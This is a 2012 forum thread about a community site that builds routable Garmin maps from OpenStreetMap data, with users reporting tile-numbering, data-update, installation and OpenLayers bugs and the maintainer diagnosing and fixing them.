MTSRY1968 wrote:
Using the same procedure as always i.e. downloading the tiles (generic_tiles.zip) for some countries and combining them with GMapTool, gives me now a 'hole' for Paris.
It seems that for one or another reason tiles FR_Paris (63241924) and FR_Creteil (63242648) are left out, even if I use generic_windows.exe as a test.
Any idea?Lambertus wrote:
I just requested the whole of France and will see if I can reproduce the missing tile problem (I guess this is a problem on your side, caching perhaps, and not of the server).
Crap 😠
The tile numbers and their locations are f*cked up at least for the two missing tiles in Paris. They are matched to a US and Peruvian tile. I don't know why at the moment.
Edit: there are two tiles named 63242648, one in Peru and one in France. The Peruvian tile overwrote the France tile but the France tile got listed first, so the intermediate cause is known. However, why it is possible to have two tiles with the same number is still a mystery to me.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 18.06.2012 12:24 · [flux]
I have been changing FIDs for some time to install several map sets. However, today JaVaWa GMTK messed up my registry in a minor way: I now have an extra entry called 'Generic Routable', not visible in GMTK, but it shows in MapsetToolkit with errors. When I went to install the next map set I was told that 'Generic' was already installed and I had to uninstall it. This I did, but it did nothing (the error entry remained).
It all works anyway and I removed the extra entry with MSTK, but it's a little worrying...
For what it's worth, I just downloaded Thailand + parts of Germany and it seems that all map tiles are there. 🙂
Thank you Lambertus.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 18.06.2012 14:55 · [flux]
Lambertus,
The Mapnik typ file is still not included, is that correct?
I also noticed you switched the PID from 3 to 6 so bear in mind you have to change this in the typ file.
Or you can use .txt typ files instead of .typ then mkgmap will compile a matching typ file from it.
Please use http://mijndev.openstreetmap.nl/~ligfie … r2160).zip for an updated typ file.I also noticed that it is still an old map update, none of my recent edits are in there...
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 18.06.2012 16:43 · [flux]
ligfietser wrote:
Lambertus,
The Mapnik typ file is still not included, is that correct?
I also noticed you switched the PID from 3 to 6 so bear in mind you have to change this in the typ file.
Or you can use .txt typ files instead of .typ then mkgmap will compile a matching typ file from it.
Please use http://mijndev.openstreetmap.nl/~ligfie … r2160).zip for an updated typ file.I also noticed that it is still an old map update, none of my recent edits are in there...
Thanks, I still have to look into the stylesheet thing.
Your missing edis are strange, because I'm nearly 100% certain that this update used the updated planet, but I did a lot of things manually for this update so it is remotely possible I somehow used the old planet. Otherwise my updated planet isn't updated at all....
- Re: Worldwide routable Garmin maps: URL REMOVED · MTSRY1968 (Gast) · 18.06.2012 17:54 · [flux]
Lambertus wrote:
MTSRY1968 wrote:
Using the same procedure as always i.e. downloading the tiles (generic_tiles.zip) for some countries and combining them with GMapTool, gives me now a 'hole' for Paris.
It seems that for one or another reason tiles FR_Paris (63241924) and FR_Creteil (63242648) are left out, even if I use generic_windows.exe as a test.
Any idea?Lambertus wrote:
I just requested the whole of France and will see if I can reproduce the missing tile problem (I guess this is a problem on your side, caching perhaps, and not of the server).
Crap 😠
The tile numbers and their locations are f*cked up at least for the two missing tiles in Paris. They are matched to a US and Peruvian tile. I don't know why at the moment.
Edit: there are two tiles named 63242648, one in Peru and one in France. The Peruvian tile overwrote the France tile but the France tile got listed first, so the intermediate cause is known. However, why it is possible to have two tiles with the same number is still a mystery to me.
Already a thank you for looking into it.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 18.06.2012 18:01 · [flux]
Lambertus wrote:
Your missing edis are strange, because I'm nearly 100% certain that this update used the updated planet, but I did a lot of things manually for this update so it is remotely possible I somehow used the old planet. Otherwise my updated planet isn't updated at all....
I only checked it for Greece, roads that I entered end of May are not in your updates. 🤔
- Re: Worldwide routable Garmin maps: URL REMOVED · jonathanpatt (Gast) · 18.06.2012 19:07 · [flux]
Seems the same for me as well, the latest update's data appears to be the same as the update from a few days back, for southeastern Arizona at least. Trails I added/edited May 17 are there, but not ones added May 19 and beyond.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 18.06.2012 19:50 · [flux]
jonathanpatt wrote:
Seems the same for me as well, the latest update's data appears to be the same as the update from a few days back, for southeastern Arizona at least. Trails I added/edited May 17 are there, but not ones added May 19 and beyond.
This is double strange. The source planet is May 8th, is updated to June 16th in one run and it contains changes from the 17th but not from the 19th of May? That is sooo confusing. Bah. The planet should either update or not, not something in between 🙁
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 18.06.2012 21:26 · [flux]
My changes are visible up to the evening of 19/5 NZT, that's the morning of the 20th your time. However, even after clearing the cache (Ctrl-G twice) it took a lot of opening and closing of files for any changes to become visible. MS is weird.
- Re: Worldwide routable Garmin maps: URL REMOVED · Dogran999 (Gast) · 19.06.2012 09:01 · [flux]
Seems to be more widespread??? I recently downloaded a UAE / GCC image file from another site which was updated from June data which also is missing updates from arround the middle of May???
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 19.06.2012 09:28 · [flux]
Lambertus wrote:
Your missing edis are strange, because I'm nearly 100% certain that this update used the updated planet, but I did a lot of things manually for this update so it is remotely possible I somehow used the old planet. Otherwise my updated planet isn't updated at all....
Ok, the source of this 'problem' is found: According to the state.txt file Osmosis updated the planet to May 20th only.
lambertus@osm:~/planet.openstreetmap.org/replicate$ cat state.txt
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Fri Jun 15 16:17:55 CEST 2012
sequenceNumber=46
timestamp=2012-05-20T00\:00\:00ZI probably need to run Osmosis a number of times to get a fully updated planet again, to catch up.
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Fri Jun 15 16:17:55 CEST 2012
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 19.06.2012 11:51 · [flux]
Lambertus wrote:
I probably need to run Osmosis a number of times to get a fully updated planet again, to catch up.
Confirmed. This is the result of the next update.
lambertus@osm:~/planet.openstreetmap.org$ cat replicate/state.txt
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Tue Jun 19 11:48:14 CEST 2012
sequenceNumber=59
timestamp=2012-06-02T00\:00\:00ZEdit: After running the update process a few times, the local planet copy now appears to be fully up to date. A new map update is started and will finish in about 1 to 2 days.
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Tue Jun 19 11:48:14 CEST 2012
- Re: Worldwide routable Garmin maps: URL REMOVED · csdf (Gast) · 19.06.2012 14:35 · [flux]
Dogran999 wrote:
Seems to be more widespread??? I recently downloaded a UAE / GCC image file from another site which was updated from June data which also is missing updates from arround the middle of May???
Which source did you use?
- Re: Worldwide routable Garmin maps: URL REMOVED · Dogran999 (Gast) · 19.06.2012 22:17 · [flux]
Csdf I used yours i downloaded your latest map. but noticed that some of my uae uploads are not in the map. as far a I can tell it looks like the map has my updates to about mid may but nothing later. for example I added te carpark area at dune morip in the first week of june but its not in the img file
C
- Re: Worldwide routable Garmin maps: URL REMOVED · cchatfield (Gast) · 20.06.2012 08:18 · [flux]
Downloaded 17/18 Jun 2012 from http://garmin.openstreetmap.nl/index_new.php France with the hole in Paris area that appears to overlap several tiles and not just two. Also intriguingly France includes 63241924 Milwaukee and 63242648 Macas Ecuador / Chimbote Peru tiles.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 20.06.2012 09:01 · [flux]
cchatfield wrote:
Downloaded 17/18 Jun 2012 from http://garmin.openstreetmap.nl/index_new.php France with the hole in Paris area that appears to overlap several tiles and not just two. Also intriguingly France includes 63241924 Milwaukee and 63242648 Macas Ecuador / Chimbote Peru tiles.
Yes, this is known:
Lambertus wrote:
MTSRY1968 wrote:
Using the same procedure as always i.e. downloading the tiles (generic_tiles.zip) for some countries and combining them with GMapTool, gives me now a 'hole' for Paris.
It seems that for one or another reason tiles FR_Paris (63241924) and FR_Creteil (63242648) are left out, even if I use generic_windows.exe as a test.
Any idea?Crap 😠
The tile numbers and their locations are f*cked up at least for the two missing tiles in Paris. They are matched to a US and Peruvian tile. I don't know why at the moment.
Edit: there are two tiles named 63242648, one in Peru and one in France. The Peruvian tile overwrote the France tile but the France tile got listed first, so the intermediate cause is known. However, why it is possible to have two tiles with the same number is still a mystery to me.
I suppose this happened because of my multithreaded (or rather: parallel processing) rendering where both threads are 'fighting' for the next free tilenumber when the current tile needs subsplitting. Determining the next free tilenumber is supposed to be atomic using a lock file but I guess this is not entirely atomic.
The current PHP code is (unsafe locking):
while␣(file_exists("splitter.lock"))␣{ sleep(1); } //␣Create␣the␣split␣lock␣so␣we␣don't␣get␣inter-threading␣problems␣with␣double␣tile␣id's touch("splitter.lock");
[[Do␣the␣subsplitting␣here]]
//␣Release␣the␣split␣lock unlink("splitter.lock");
Instead of using file_exists/touch/unlink code, I think I need to use the PHP flock function which would translate into something like this (safe locking):
$fp␣=␣fopen("splitter.lock",␣"r+");
//␣Lock␣the␣file␣exclusively flock($fp,␣LOCK_EX);
[[Do␣the␣subsplitting␣here]]
//␣Release␣the␣lock flock($fp,␣LOCK_UN);
//␣Close␣the␣lock␣file fclose($fp);
- Re: Worldwide routable Garmin maps: URL REMOVED · Allroads (Gast) · 22.06.2012 01:05 · [flux]
A US contact wrote that he was routed over this trail with a motorcycle.
the tags are:
foot = designated
highway = path
name = Jewell Trail
sac_scale = mountain_hikingJewell trail
http://www.openstreetmap.org/?lat=44.27 … 5&layers=MJewell trail
http://www.openstreetmap.org/browse/way/118667346
Jewell trail say nothing about motorcycle or motor_vehicle, it is a path.
foot=designated
http://wiki.openstreetmap.org/wiki/Tag: … designatedis this a solution or give that problems in other part of the world.
in the line style
highway=path & foot=designated {add motor_vehicle = no}I see there signs and only mentioned what is allowed here foot.
so mostly there designated.By us (NL) is it more signs for what not allowed so *=no
Two ways how to regulate a area or way.
Can this be the problem
The contact have a Montana 650
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 22.06.2012 09:02 · [flux]
In the default mkgmap settings paths are already blocked for motor vehicles:
highway=footway|highway=path|highway=steps {add access = no; add foot = yes}
The problem is that the newer Garmin units with the latest firmware (and Basecamp v 3.3) don't observe the access = no mkgmap settings anymore.
A workaround is to select the avoidance of carpool lanes, this will block all roads with access = no (but unfortunately, even if they have motorcycle=yes 🤔)Allroads wrote:
A US contact wrote that he was routed over this trail with a motorcycle.
the tags are:
foot = designated
highway = path
name = Jewell Trail
sac_scale = mountain_hikingJewell trail
http://www.openstreetmap.org/?lat=44.27 … 5&layers=MJewell trail
http://www.openstreetmap.org/browse/way/118667346
Jewell trail say nothing about motorcycle or motor_vehicle, it is a path.
foot=designated
http://wiki.openstreetmap.org/wiki/Tag: … designatedis this a solution or give that problems in other part of the world.
in the line style
highway=path & foot=designated {add motor_vehicle = no}I see there signs and only mentioned what is allowed here foot.
so mostly there designated.By us (NL) is it more signs for what not allowed so *=no
Two ways how to regulate a area or way.
Can this be the problem
The contact have a Montana 650
- Re: Worldwide routable Garmin maps: URL REMOVED · Allroads (Gast) · 22.06.2012 10:21 · [flux]
Thanks, I thought so but the style could be different.
Solution do not buy a new Garmin.
- Re: Worldwide routable Garmin maps: URL REMOVED · Seldom (Gast) · 22.06.2012 14:45 · [flux]
Allroads wrote:
Thanks, I thought so but the style could be different.
Solution do not buy a new Garmin.
Solution may be to use older software. Last time I checked MapSource still supported bicycle restrictions.
- Re: Worldwide routable Garmin maps: URL REMOVED · jonathanpatt (Gast) · 22.06.2012 16:18 · [flux]
I've noticed that problem on my Garmin Montana (and Basecamp) as well, got routed over a hiking trail in automobile mode. I presume this is simply a bug, because it's happening on their official topo maps, too. Oddly, in one situation where there's both a road and a trail going from one destination to another, if I select Automotive, it routes me along the trail, while if I select Hiking, it routes me along the road. This happens exactly the same whether it's Garmin's map or Lambertus'.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 22.06.2012 17:52 · [flux]
jonathanpatt wrote:
I've noticed that problem on my Garmin Montana (and Basecamp) as well, got routed over a hiking trail in automobile mode. I presume this is simply a bug, because it's happening on their official topo maps, too. Oddly, in one situation where there's both a road and a trail going from one destination to another, if I select Automotive, it routes me along the trail, while if I select Hiking, it routes me along the road. This happens exactly the same whether it's Garmin's map or Lambertus'.
If you are sure its a bug and it's happening on their official maps, please report it on the official Garmin forum: https://forums.garmin.com
They won't listen if it is concerning OSM maps but if it is concerning their own products they might solve this issue. - Re: Worldwide routable Garmin maps: URL REMOVED · KPost (Gast) · 24.06.2012 02:26 · [flux]
I am fairly new to OSM but this site is the only one that I can get to work for exporting OSM data to my Garmin 276C. Thanks for putting all this work in to this. I added a bunch of map information and wanted to get it into my Garmin, but none of all those different command line options works for me. I always though I was fairly computer savvy, but this undecipherable error message shit I get is more then what i can handle. This website works every time. I will have to just wait for the new OSM data to be added, hopefully before I go out on my M/C trip to Tajik/Kyrg.
KP
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 24.06.2012 08:51 · [flux]
Thanks KPost. Have a look at the beta site, it has the latest OSM data.
- Re: Worldwide routable Garmin maps: URL REMOVED · thug_n_g (Gast) · 24.06.2012 09:39 · [flux]
Hey Lambertus,
If i download from the beta site http://garmin.openstreetmap.nl/index_new.php i get tiles.txt and generic_tiles.zip , but not the gmapsupp.img and not the excecutable for mapsource. Is this because i download from the betasite and is it going to change on the final site? Or did something went wrong?
EDIT: The problem already shows in a quick download of 1 country, see for example for the Netherlands: http://osm.pleiades.uni-wuppertal.de/ga … 8ba447969/
- Re: Worldwide routable Garmin maps: URL REMOVED · eggie (Gast) · 24.06.2012 11:39 · [flux]
Hoi,
I had the same experience. Only the "tiles". No possibility for getting the map into mapsource with the windowinstaller.
I also tried "the Netherlands".
Eggie
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 24.06.2012 15:28 · [flux]
Thug, eggie, the error log shows a problem with the script. I'm looking into this.
Edit: fixed. Affected maps deleted, please request your map again if your map appears to be missing on the server.
- Re: Worldwide routable Garmin maps: URL REMOVED · Galip (Gast) · 24.06.2012 17:40 · [flux]
Hi to All,
I've downloaded the "checked" "Russian Federation" tiles, and then downloaded the compiled file from the index page (via email announcement), "osm_routable_mapsource.exe", 93.7MB and installed it, with no probs.
Then I downloaded "Germany", with the same email announcement procedure, however, with the same name, of the first one: "osm_routable_mapsource.exe", 888 MB.
When I tried to install the second "German" Map, it said, the "osm_world _routable_Map" is already installed, and if I want to reinstall again, click etc, etc......At the end, the Russian Map was disappeared, instead the "German" map was installed. (so obviously one map only was allowed?!?)
Now I changed the 1. original exe file name with an index" _Russia", but by installing, it did NOT work with to different OSM maps!!
Question: How can I install on Mapsource, several country maps , without the "NameConfliction", (although they all named same in my case:" osm_routable_mapsource.exe"). What do I have to do to avoide this, or how can I change the name on Mapsource "OSM World Routable" map regarding of the different countries, any ideas or suggestions are greatly appreciated, thanks.
GalipP.S.: I hope I am at the right place here (thread).
- Re: Worldwide routable Garmin maps: URL REMOVED · eggie (Gast) · 24.06.2012 19:29 · [flux]
Hi Galip,
You may use JaVaWa GMTK (Google)
http://www.javawa.nl/gmtk.htmlThe ID is the same so you have to change this ID and that is the reason it does'nt work. Javawa GMTK is the tool to do this.
Succes,
Eggie
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 24.06.2012 19:31 · [flux]
The FAQ may also be useful.
- Re: Worldwide routable Garmin maps: URL REMOVED · eggie (Gast) · 24.06.2012 19:59 · [flux]
Hi Lambertus,
Thank's ... the error has been fixed and I've got the map of the Netherlands. It looks pretty good with the mapnik background.
Eggie
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 24.06.2012 21:05 · [flux]
Great. Fixed a few other bugs and included some stuff from requests etc today, so I think it's about time for the beta baby to get some prime time. 😄
Hope all goes well...
- Re: Worldwide routable Garmin maps: URL REMOVED · Galip (Gast) · 24.06.2012 21:13 · [flux]
Thanks Eggie and Lambertus, great tool, I also read the FAQ and started the procedure as follows:
In "Extra" - "Change Map Name and ID" I did change everything which was available:
Family ID from 2000 to 905,
Name on Computer, (RussiaOSM)
Name on Device, (RussiaOSM)
Folder Name (RussiaOSM)However, when I tried to install the bigger "Germany" Map it said again:
"OSM World Routable is already installed"
Click "OK" to remove the previous version or "Cancel" to cancel this upgrade.BTW, I did use the CTRL G several times, and repeated the whole procedure 3 times with the same result!
Any ideas? Thanks...P.S.: I wonder how the name "OSM orld Routable" can still remain, although everything has been changed, am I doing something wrong?
P.P.S.:The Tool is great, if only it would work:D:D:DP.P.P.S.: GArmin GPSMAP 60CSx, GPSMAP62s, JaVaWa GMTK Ver2.4
- Re: Worldwide routable Garmin maps: URL REMOVED · Galip (Gast) · 24.06.2012 23:23 · [flux]
Howdy Eggie & Lambertus and others,
Interestingly enough, now I tried one more, and it said again:"OSM World Routable is already installed"
Click "OK" to remove the previous version or "Cancel" to cancel this upgrade.I clicked "OK" and it started to install, and at the end, surprise surprise, both Maps were installed, the first one as "RussiaOSM" and the German Map as "OSM World Routable (01-04-2012)... Just for your records...!
When I install another OSM, I will of course change the last installed Map ID as well, and so on...
The Maps are excellent, good on OSM
Thanks again...!P.S.: Mapsource ver. 6.16.3
P.P.S.: Meanwhile Italia is in Semifinal, that may have triggered the JaVaWaGmtk2.4 to work 🤣 - Re: Worldwide routable Garmin maps: URL REMOVED · Galip (Gast) · 25.06.2012 08:09 · [flux]
Hi,
Is something wrong with the server, or is this on my end only?!?:
http://garmin.openstreetmap.nl/,
it does not show the usual World Map with the tiles to be checked, and to download,
see below the screenshot:P.S.: Or is there a limit or something like that?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 25.06.2012 08:28 · [flux]
You're using Firefox which I've also used to develop the site. Your screenshot is not normal behavior (there should indeed be a slippy map visible).
Can you force-refresh the page (ctrl-F5) or clear your browser cache and reload the page again?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 25.06.2012 08:45 · [flux]
Lambertus wrote:
Great. Fixed a few other bugs and included some stuff from requests etc today, so I think it's about time for the beta baby to get some prime time. 😄
Hope all goes well...
Congratulations Lambertus! I have spread the news on a few forums 😛
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 25.06.2012 08:48 · [flux]
Thanks ligfietser, and congratulations (and thanks!) to you too! 😎
- Re: Worldwide routable Garmin maps: URL REMOVED · FFes (Gast) · 25.06.2012 08:51 · [flux]
The new site is a big improvement in usability!
One minor thing though, there is small hole when I preselect Germany, near Chemnitz.
That is the area where we will be going on holiday next month. Obviously I can manually select that tile, but I don't need it right now so I won't request it to keep the server happy 😉
- Re: Worldwide routable Garmin maps: URL REMOVED · Galip (Gast) · 25.06.2012 08:52 · [flux]
Lambertus wrote:
You're using Firefox which I've also used to develop the site. Your screenshot is not normal behavior (there should indeed be a slippy map visible).
Can you force-refresh the page (ctrl-F5) or clear your browser cache and reload the page again?
Thanks Lambertus, ctrl-F5 has worked.... 😄 😄 😄
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 25.06.2012 09:11 · [flux]
FFes wrote:
The new site is a big improvement in usability!
One minor thing though, there is small hole when I preselect Germany, near Chemnitz.
That is the area where we will be going on holiday next month. Obviously I can manually select that tile, but I don't need it right now so I won't request it to keep the server happy 😉
Yes, strange that the country/tile matching algorithm is missing that tile, but the algorithm is quite complex and I don't really feel like debugging at the moment 😐 Luckily the manual selection works fine 😉
Don't worry about the server, it's doing fine right now. Besides, the Germany map with the Chemnitz tile added is already available on the server.
- Re: Worldwide routable Garmin maps: URL REMOVED · KPost (Gast) · 25.06.2012 16:26 · [flux]
Lambertus wrote:
Thanks KPost. Have a look at the beta site, it has the latest OSM data.
Hey Lambertus, Congratulations on the new website. It works even better then the old one. Nice.
It does however does not have the latest OSM data yet. I added information 5 days ago that shows on the OSM site, but does not download yet thru openstreetmap.nl. Just curious, what can I expect for data updates.
Also saw the post for JaVaWa. That is a nice addition to my tools. Also very nice to get past the data set renaming issue.
KP
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 25.06.2012 16:41 · [flux]
Thanks, KPost. The age of the data is shown below the map. In this case the data is from June 20th (well, actually, to be safe substract a day, so June 19th). A new update is started tomorrow when things have calmed down a bit.
BTW: the server is in throttling mode because the disk is full. About
500(oops) 300 maps have been created (and many more downloaded) since yesterday evening. You guys are beasts 😄 - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 25.06.2012 17:10 · [flux]
Lambertus wrote:
BTW: the server is in throttling mode because the disk is full. About
500(oops) 300 maps have been created (and many more downloaded) since yesterday evening. You guys are beasts 😄Hope those beasts also noticed the new donation button! 🙄
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 25.06.2012 17:27 · [flux]
Haha, ligfietser 😄 No need to point to the obvious, I've already received two donations which allows me to buy you a beer or wine someday 😉 About 10% of the maps created so far are OpenFietsmap Lite maps.
I appreciate a donation, the button is there, but don't feel bad if you don't or can't. It's a hobby afterall. I'd rather see people improve OpenStreetMap by doing some mapping or uploading tracklogs as a way of saying 'thank you'.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 25.06.2012 21:12 · [flux]
LOL!
Seems like the whole world wants a new map. The harddisks are maxed-out both in performance and in space-usage, Apache is serving tiles at 100Mbit and the CPU's are doing what they can whenever the disks have a little breathing room to provide the data... 2500 unique visitors (ok, so not the whole world, but still a lot anyway) and nearly 300 GB traffic on one day.
I haven't seen this in a long while. 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · KPost (Gast) · 26.06.2012 14:33 · [flux]
I can only predict it is going to get a whole lot busier. I have been looking at OSM many times over the years, but it was always too much of a hassle to actually use it. A good link between all that information and many Garmin users seemed to be missing. It was never really convenient to say the least. With this website, especially with the new update, that link is there and now everybody can get their maps easily. I may have missed it, but I do not see on the main OSM website a big red button that says go here to get your Garmin maps. Instead there is the "export" tab, which really is not doing much for most users I would guess.
Karst
BTW, is your donate button going to the same place as the .com website donate button??
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 27.06.2012 08:26 · [flux]
KPost wrote:
I can only predict it is going to get a whole lot busier. I have been looking at OSM many times over the years, but it was always too much of a hassle to actually use it. A good link between all that information and many Garmin users seemed to be missing. It was never really convenient to say the least. With this website, especially with the new update, that link is there and now everybody can get their maps easily. I may have missed it, but I do not see on the main OSM website a big red button that says go here to get your Garmin maps. Instead there is the "export" tab, which really is not doing much for most users I would guess.
Actually, I don't think it's OSM's task to make the data available in every thinkable convenient format. OSM is about data gathering and making it available in planet form (XML or PBF format). Then third parties (like me) can do what they like with that data. I don't even think the Mapnik slippy map on the frontpage is something that should concern OSM, but it shows what OSM is capable of, which is important to get new mappers. Anyway, this is what I think 🤔
BTW, is your donate button going to the same place as the .com website donate button??
I assume you mean the main OSM website with '.com website donate button'? In that case: No. The donatebutton on my website is for me personally. I do intend on share a portion of the funds there with the projects I used for the website, but also to buy my girlfriend a nice dinner to make up a little for all the time I spent on developing this site 😉
Thanks btw! 🙂
PS. I'm new to donations and donate buttons etc. Is it customary to send a thanks email to for every donation?
- Re: Worldwide routable Garmin maps: URL REMOVED · DarkLite1 (Gast) · 27.06.2012 14:22 · [flux]
If i understand everything correctly then the OpenStreetMap is just the data and the TYP-file is the layout file. For the moment we only have the TYP-file from Mapnik available, is it possible to add this one (http://www.avdweb.nl/gps/garmin/improve … files.html) to as an option? As it shows a good difference in colors and stuff.. (on http://garmin.openstreetmap.nl/)
I tried the question part: http://help.openstreetmap.org/questions … n-typ-file
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 27.06.2012 15:31 · [flux]
DarkLite1 wrote:
If i understand everything correctly then the OpenStreetMap is just the data and the TYP-file is the layout file. For the moment we only have the TYP-file from Mapnik available, is it possible to add this one (http://www.avdweb.nl/gps/garmin/improve … files.html) to as an option? As it shows a good difference in colors and stuff.. (on http://garmin.openstreetmap.nl/)
I tried the question part: http://help.openstreetmap.org/questions … n-typ-file
I don't think that typ file is 100% compatible with the mkgmap styles. You can try to use it yourself by adjusting the Family ID (2000) Product ID (6) with a typ file editor and rename it to
mapnik.typ2000.typ and see how it looks on your map. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 27.06.2012 15:34 · [flux]
Lambertus wrote:
PS. I'm new to donations and donate buttons etc. Is it customary to send a thanks email to for every donation?
Yes, you can redirect the donator after payment to a specific thank you url.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 27.06.2012 16:28 · [flux]
ligfietser wrote:
I don't think that typ file is 100% compatible with the mkgmap styles. You can try to use it yourself by adjusting the Family ID (2000) Product ID (6) with a typ file editor and rename it to mapnik.typ and see how it looks on your map.
Shouldn't that be 2000.typ? At least that's the name of the file on the server...
ligfietser wrote:
Lambertus wrote:
PS. I'm new to donations and donate buttons etc. Is it customary to send a thanks email to for every donation?
Yes, you can redirect the donator after payment to a specific thank you url.
Thanks for that. Will look into it.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 27.06.2012 17:18 · [flux]
Lambertus wrote:
Shouldn't that be 2000.typ? At least that's the name of the file on the server...
Ah yes, 2000.typ it is 🙄
- Re: Worldwide routable Garmin maps: URL REMOVED · alimamo (Gast) · 28.06.2012 10:51 · [flux]
2012/06/28 18:45 here in Asia and all I get on the main page are the "Loading data, please wait" messages with the spinning wheels.
(Chrome and Firefox)Multiple refreshes and cache emptying does not seem to help. Is the problem on my end, or perhaps yours due to the mad rush for maps?
Thanks for all your work.
- Re: Worldwide routable Garmin maps: URL REMOVED · JaVaWa (Gast) · 28.06.2012 11:48 · [flux]
ligfietser wrote:
I don't think that typ file is 100% compatible with the mkgmap styles. You can try to use it yourself by adjusting the Family ID (2000) Product ID (6) with a typ file editor and rename it to
mapnik.typ2000.typ and see how it looks on your map.When you use JaVaWa GMTK to add or replace a TYP file you don't have to bother about ID's and file names; that is taken care of automatically.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 28.06.2012 12:28 · [flux]
alimamo wrote:
2012/06/28 18:45 here in Asia and all I get on the main page are the "Loading data, please wait" messages with the spinning wheels.
(Chrome and Firefox)Multiple refreshes and cache emptying does not seem to help. Is the problem on my end, or perhaps yours due to the mad rush for maps?
Thanks for all your work.
When the server is busy you might see some delay, but most times I have to wait it is the OpenLayers server that is slow in serving the OpenLayers JS library. In the statistics I see a dramatic reduction in activity since about 02:00 CET today, before that it was indeed a continuous mad rush for maps. At 02:00 the request queue was empty again and after that the server is only doing sporadic work which is likely to pick-up again this afternoon.
So, you shouldn't be seeing the spinning wheels for long and at least Firefox should work just fine. Can't reproduce your problem here, sorry.
- Re: Worldwide routable Garmin maps: URL REMOVED · NSWS (Gast) · 28.06.2012 20:05 · [flux]
Hello Lambertus,
I am trying to get some maps of France from the website. But all I get on the main page are the "Loading data, please wait" messages with the spinning wheels.
(Chrome, IE, Maxthon and Firefox) Is it too busy on the website or the server is overloaded?At which time it is less crowded? So i can make a connection.
Regards Nico
- Re: Worldwide routable Garmin maps: URL REMOVED · tune_it (Gast) · 28.06.2012 20:50 · [flux]
NSWS wrote:
Hello Lambertus,
I am trying to get some maps of France from the website. But all I get on the main page are the "Loading data, please wait" messages with the spinning wheels.
(Chrome, IE, Maxthon and Firefox) Is it too busy on the website or the server is overloaded?At which time it is less crowded? So i can make a connection.
Regards Nico
Same problem here, this is the error:
OpenLayers.loadURL␣is␣not␣a␣function http://garmin.openstreetmap.nl/routable.js Line␣162
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 28.06.2012 20:52 · [flux]
Nico, user 'alimamo' describes the same problem above. But I can't reproduce it. Each time I open the website the data is loaded ('spinning wheels') within a few seconds, this is the case at work and at home (Windows and Linux). I have no clue why the site responds this way for you.
Are you or 'alimamo' able to load the following file (you should see a large XML document listing countries/continents/tiles/etc.)? http://osm.pleiades.uni-wuppertal.de/ga … ntries.xmlIf you can't load this file then please post the result from the following command:
If you use Windows, using a command prompt:
tracert osm.pleiades.uni-wuppertal.deOr if you use Linux or Mac, using a terminal:
traceroute osm.pleiades.uni-wuppertal.deEdit: Ah, tune_it seems to be on the problem 🙂
tune_it wrote:
Same problem here, this is the error:
OpenLayers.loadURL␣is␣not␣a␣function http://garmin.openstreetmap.nl/routable.js Line␣162
Ok, so there seems to be an OpenLayers problem. I'll check it out. Thanks for reporting this!
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 28.06.2012 21:06 · [flux]
Lambertus wrote:
tune_it wrote:
Same problem here, this is the error:
OpenLayers.loadURL␣is␣not␣a␣function http://garmin.openstreetmap.nl/routable.js Line␣162
Ok, so there seems to be an OpenLayers problem. I'll check it out. Thanks for reporting this!
This problem is neatly explained if you find that OpenLayers has just released a new version (2.12) that deprecates the OpenLayers.loadURL function 🙄
Edit: I replaced the loadURL() with Request.Get() function and now it works again. I guess I didn't encounter this problem because I probably still had an older version of OpenLayers in my browser cache. This problem probably explains why the server was so relaxed today as well. 😐
Thanks all for reporting!
- Re: Worldwide routable Garmin maps: URL REMOVED · scai (Gast) · 28.06.2012 21:46 · [flux]
Here it seems to hang forever at "Checking existing maps...". Firefox and Opera, cache cleared, tried selecting a whole country and just a single tile.
- Re: Worldwide routable Garmin maps: URL REMOVED · tune_it (Gast) · 28.06.2012 22:12 · [flux]
scai wrote:
Here it seems to hang forever at "Checking existing maps...". Firefox and Opera, cache cleared, tried selecting a whole country and just a single tile.
Yes we are one step further now, here it also keeps spinning on checking for existing maps, can't download anything.
Chrome error:
Uncaught␣TypeError:␣Cannot␣read␣property␣'Request'␣of␣undefined␣routable.js:493 selectionDone␣routable.js:493 updateList␣routable.js:445 onUpdateTiles␣routable.js:387 (anonymous␣function)
Firefox error:
OpenLayers.Ajax␣is␣undefined http://garmin.openstreetmap.nl/routable.js Line␣493
new␣OpenLayers.Ajax.Request('exists.php',
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 28.06.2012 22:28 · [flux]
